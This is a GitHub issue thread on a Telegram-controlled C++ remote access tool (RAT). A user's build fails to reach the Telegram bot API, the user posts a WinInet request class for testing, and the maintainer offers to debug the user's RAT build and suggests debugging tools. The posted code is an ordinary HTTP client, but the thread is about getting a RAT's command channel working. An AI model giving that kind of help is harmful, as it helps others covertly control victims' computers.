4B4DB4B3 / B4DB4B3-RAT

Program for remote computer management with Telegram on native C++ - by B4DB4B3
MIT License
107 stars 32 forks source link

Bot api not making a request #2

Closed Nikait closed 4 years ago

Nikait commented 4 years ago

When I made my rat, inserted bot id and chat id, also specified some parameters and collected. After launching the bot, there was no reaction, I tried to restart it, but alas. I think there is a problem with sending a request, there are no problems with the Internet connection

I am hope for your help

4B4DB4B3 commented 4 years ago

Hello! I can assume several reasons:

  1. Incorrect input of botapi and chatid
  2. You didn't write /start to the bot so that it could write back to you

You can create a test bot, create a build of your RAT, and send it to me. I'll try to find errors in the program.

Also, in order to speed up the search for errors , you can use x64dbg yourself to debug your build.

Nikait commented 4 years ago

Thank for you answer, but alas, it's solutions not help for me. Bot_id and chat_id was true, so I trying send requests to bot api across browser and it's worked. In my opinion, problem in GetRequest function, she should return me std::string response, but when I make request, she return me null string ( . Possible it's problems this my OS - windows 7 ultimate. I will try make alternative solution for make request.

I did some code for a test, also I did a simple api with functions in your code (GetRequest and SendTextMessage), but they returned me null string:

`#include

include

include

include

pragma comment(lib, "WinInet.lib")

class TeleBot { public: TeleBot(std::string botid, std::string chatid) { this->bot_id = botid; this->chat_id = chatid; }

std::string GetRequest(const char* url, const char* useragent, const char* path, const char* ContentType) {
    InternetSetOption(0, 42, NULL, 0);

    HINTERNET hSocket = InternetOpenA(useragent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);

    if (hSocket != NULL) {
        HINTERNET hConnection = InternetConnectA(hSocket, url, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);

        if (hConnection != NULL) {
            HINTERNET hRequest;

            if (path == "") hRequest = HttpOpenRequestA(hConnection, "GET", NULL, NULL, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 1);
            else hRequest = HttpOpenRequestA(hConnection, "GET", path, NULL, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 1);

            if (hRequest != NULL) {
                if (ContentType == "") HttpSendRequestA(hRequest, NULL, 0, NULL, 0);
                else HttpSendRequestA(hRequest, ContentType, sizeof(ContentType), NULL, NULL);

                std::string resultRss;
                BYTE _DATA_RECIEVED[1024];
                DWORD NO_BYTES_READ = 0;
                while (InternetReadFile(hRequest, _DATA_RECIEVED, 1024, &NO_BYTES_READ) && NO_BYTES_READ > 0) {
                    resultRss.append((char*)_DATA_RECIEVED, NO_BYTES_READ);
                }

                return resultRss;
            }
            InternetCloseHandle(hRequest);
        }
        InternetCloseHandle(hConnection);
    }
    InternetCloseHandle(hSocket);

    return "";
}

std::string SendTextMessage(std::string message) {
    std::string path = "bot" + bot_id + "/sendMessage?text=" + message + "&chat_id=" + chat_id;

    std::string req = GetRequest("api.telegram.org", "User-Agent: Mozilla / 5.0\r\n", path.c_str(), "*/*");
    return req;
}

private: std::string bot_id, chat_id; };

int main() { TeleBot bot("some bot_id", "some chat_id"); std::string conn = bot.SendTextMessage("test"); std::cout << conn << std::endl;

std::string test_req = bot.GetRequest("google.com", "User-Agent: Mozilla / 5.0\r\n", "", "*/*");
std::cout << test_req << std::endl;
return 0;

}`

4B4DB4B3 commented 4 years ago

Try checking whether the request is sent via HTTP Analyzer\Debugger. If it is sent, then check the result. If it is not sent , you will need to debug the program to get GetLastError().

Nikait commented 4 years ago

Ok thank you, I'll try

Nikait commented 3 years ago

Hello! I'm cheked requests in wireshark and I don't find request to telegram api

Example sreenshots: IMG_20201109_170729_579.jpgIMG_20201109_170721_472.jpg

4B4DB4B3 commented 3 years ago

Use HTTP Debugger.